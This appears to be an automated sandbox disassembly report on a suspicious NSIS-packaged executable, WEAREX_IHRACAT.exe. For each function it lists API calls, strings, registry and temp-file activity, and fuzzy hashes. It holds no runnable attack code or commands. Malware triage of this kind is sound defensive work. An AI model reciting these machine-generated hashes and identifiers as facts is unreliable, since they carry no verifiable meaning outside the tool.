C:\Users\user\gangningerne\jot\mtn, xrefs: 00403942, 0040394A, 004039ED, 004039F3, 00403A03
_Nb, xrefs: 00403A36, 00403A9E
Control Panel\Desktop\ResourceLocale, xrefs: 004038E6

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\gangningerne\jot\mtn$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-2933927330
Opcode ID: 7591e99d3b1f4cc40b45e62746b81664c4dcf89d43ee78bcadefa554f4fd18e3
Instruction ID: 7b2c8f7aec5f024c70211f55c02b660a410cf4becd836ab4c66ac285f40ceed6
Opcode Fuzzy Hash: 7591e99d3b1f4cc40b45e62746b81664c4dcf89d43ee78bcadefa554f4fd18e3
Instruction Fuzzy Hash: 5A61A470644201BAE320AF669C46F3B3A6CEB44749F40457FF941B62E2DB7C6902CA6D

Function 00402DBA Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DCE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,00000400), ref: 00402DEA

Part of subcall function 00405B54: GetFileAttributesW.KERNELBASE(00000003,00402DFD,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00405B58
Part of subcall function 00405B54: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7A

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00402E33
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7A

Strings

"C:\Users\user\Desktop\WEAREX_IHRACAT.exe", xrefs: 00402DC3
soft, xrefs: 00402EAA
C:\Users\user\Desktop\WEAREX_IHRACAT.exe, xrefs: 00402DD4, 00402DE3, 00402DF7, 00402E14
Inst, xrefs: 00402EA1
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC7, 00402F92
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403011
C:\Users\user\Desktop, xrefs: 00402E15, 00402E1A, 00402E20
Null, xrefs: 00402EB3
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC3
Error launching installer, xrefs: 00402E0A

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\WEAREX_IHRACAT.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-745245828
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 1f6ec37bde34587697a274125597031aed9c17e441137146a4e3b0792cc80405
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: 3761F431940205ABDB20EF65DD89AAE3BB8AB04355F20417BF600B32D1D7B89E41DB9C

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\gangningerne\jot\mtn\Discomplexion,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\gangningerne\jot\mtn\Discomplexion,?,?,00000031), ref: 004017B8

Part of subcall function 00405EE8: lstrcpynW.KERNEL32(?,?,00000400,004033C6,004281E0,NSIS Error), ref: 00405EF5

Part of subcall function 00405192: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000,?), ref: 004051CA
Part of subcall function 00405192: lstrlenW.KERNEL32(00402D92,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000), ref: 004051DA
Part of subcall function 00405192: lstrcatW.KERNEL32(004216B0,00402D92,00402D92,004216B0,00000000,00000000,00000000), ref: 004051ED
Part of subcall function 00405192: SetWindowTextW.USER32(004216B0,004216B0), ref: 004051FF
Part of subcall function 00405192: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405225
Part of subcall function 00405192: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040523F
Part of subcall function 00405192: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524D

Strings

C:\Users\user\gangningerne\jot\mtn\Discomplexion, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp, xrefs: 00401804, 00401822
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll, xrefs: 00401818, 00401834
Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nseB6DC.tmp$C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll$C:\Users\user\gangningerne\jot\mtn\Discomplexion$Call
API String ID: 1941528284-2454824246
Opcode ID: 51c9294618428d1c231ec5d2af51adaaf8ce500cb0363ef0aa9a66f567df1bc9
Instruction ID: 10c9bfb48ac22d70b7a6fd4bf6847715cc6e5200bae8767ad0241ecc3b8f07ee
Opcode Fuzzy Hash: 51c9294618428d1c231ec5d2af51adaaf8ce500cb0363ef0aa9a66f567df1bc9
Instruction Fuzzy Hash: 6841B172904519BACF10BBB5CC86DAF7679EF05329F20463BF521B11E1D63C8A41CA6E

Function 00402571 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025D9
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402614
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402637
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264D

Part of subcall function 00405BD7: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330A,00409230,00409230,004031FC,00413E78,00004000,?,00000000,?), ref: 00405BEB

Part of subcall function 00405E2F: wsprintfW.USER32 ref: 00405E3C

Strings

9, xrefs: 004025BC

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 0aa63fe2a692f6bc31d5825d39ecadd6a947c78fcb5bd60f73af14f5e7ff11a7
Instruction ID: b7948383e8f2d929eee7054b26862d8c15f429c1db02a3f5617992bcc001f061
Opcode Fuzzy Hash: 0aa63fe2a692f6bc31d5825d39ecadd6a947c78fcb5bd60f73af14f5e7ff11a7
Instruction Fuzzy Hash: CE51ECB1D00219AADF24DFA4DE88AAEB779FF04304F50443BE501B62D0DB759E41CB69

Function 0040317B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403190

Part of subcall function 0040330D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE5,?), ref: 0040331B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403093,00000004,00000000,00000000,?,?,?,0040300C,000000FF,00000000,00000000), ref: 004031C3
WriteFile.KERNELBASE(0040BE78,00411095,00000000,00000000,00413E78,00004000,?,00000000,?,00403093,00000004,00000000,00000000,?,?), ref: 0040327D
SetFilePointer.KERNELBASE(00005C4A,00000000,00000000,00413E78,00004000,?,00000000,?,00403093,00000004,00000000,00000000,?,?,?,0040300C), ref: 004032CF

Strings

x>A, xrefs: 004031F0

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: 37036d35f8974e55ed68100cf34a45723990335e8d7a2adc0945050858e8c70a
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 7D41CB725042019FDB10DF29ED848A63BACFB54356720827FE910B22E1D7B99D41DBED

Function 0040232F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236D
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238D
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C9
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AA

Strings

C:\Users\user\AppData\Local\Temp\nseB6DC.tmp, xrefs: 0040237E, 004023A3, 004023B3, 004023BE

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nseB6DC.tmp
API String ID: 1356686001-1202048815
Opcode ID: ccfe9803d7e227ab7e2a72a0b4861a967dbf62cf09f9511f26540d48752b467a
Instruction ID: 4c75d48ff27920bf3256dab6d3d18bc6d0e5d26c1911ded3a9e9fdbcc9a4e390
Opcode Fuzzy Hash: ccfe9803d7e227ab7e2a72a0b4861a967dbf62cf09f9511f26540d48752b467a
Instruction Fuzzy Hash: 89118EB1A00108BEEB10AFA4DE4AEAF777CEB54358F10043AF504B61D0D7B86E419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059DE: CharNextW.USER32(?,?,00424ED8,?,00405A52,00424ED8,00424ED8,?,?,752C2EE0,00405790,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 004059EC
Part of subcall function 004059DE: CharNextW.USER32(00000000), ref: 004059F1
Part of subcall function 004059DE: CharNextW.USER32(00000000), ref: 00405A09

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\gangningerne\jot\mtn\Discomplexion,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\gangningerne\jot\mtn\Discomplexion, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\gangningerne\jot\mtn\Discomplexion
API String ID: 3751793516-462110826
Opcode ID: 3d83efa2bc4fe2806ed3000ea967517c516f08bd89cd182248c21611bd136b71
Instruction ID: 199c01fa1d361ac50fd0ab4436582695df459e1bfde9dc24052da25e00d2fbae
Opcode Fuzzy Hash: 3d83efa2bc4fe2806ed3000ea967517c516f08bd89cd182248c21611bd136b71
Instruction Fuzzy Hash: D011C271908104EBDB206FA0CD449AF36B0EF15365B64063BF881B62E1D63D49819A6E

Function 00402B78 Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402B99
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD5
RegCloseKey.ADVAPI32(?), ref: 00402BDE
RegCloseKey.ADVAPI32(?), ref: 00402C03
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C21

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5dde48613cb83d0adfaafee1501ae70c9f94bc296712e9edd69c2eafcb4792e1
Instruction ID: 9ec10266fc8442ca9feb2f2c36393197ef7fd7660a084b6a818e704b420db749
Opcode Fuzzy Hash: 5dde48613cb83d0adfaafee1501ae70c9f94bc296712e9edd69c2eafcb4792e1
Instruction Fuzzy Hash: 0D113A7190410CFEEF11AF90DE89EAE3B79EB44348F10057AFA05A10E0D3B59E51AA69

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,004050A3), ref: 100022D3

Part of subcall function 10002614: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 10002686

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002562
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 1000258B

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 1685173ce3d2b65da630a914681d80644a307c638f4ca4f93a48449925dcaf4b
Instruction ID: f1aa1b9103b0a65f35aec93e8e69466a872eebdec6ee13635525f9d4203f99a4
Opcode Fuzzy Hash: 1685173ce3d2b65da630a914681d80644a307c638f4ca4f93a48449925dcaf4b
Instruction Fuzzy Hash: 9931BF799042459AFB10DF74DCC5BDA37E8EB043D4F058529FA0AAA08EDF74A985C760

Function 00403060 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300C,000000FF,00000000,00000000,00409230,?), ref: 00403086
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403113

Strings

x>A, xrefs: 004030DC

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: fc2ead670903f3fcf09a518996cfd184d9dc321171b4a7c5d6e0cc79c3f8c1f9
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: 8C312631504219FBDF11CF65EC44A9E3FBCEB08755F20813AF904AA1A0D3749E51DBA9

Function 00405B83 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA1
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403356,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B88, 00405B8C
nsa, xrefs: 00405B90

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: b92cbf5d1f1efc9604712da85ceffb4fcd72973976825a501547a71b9f4f898e
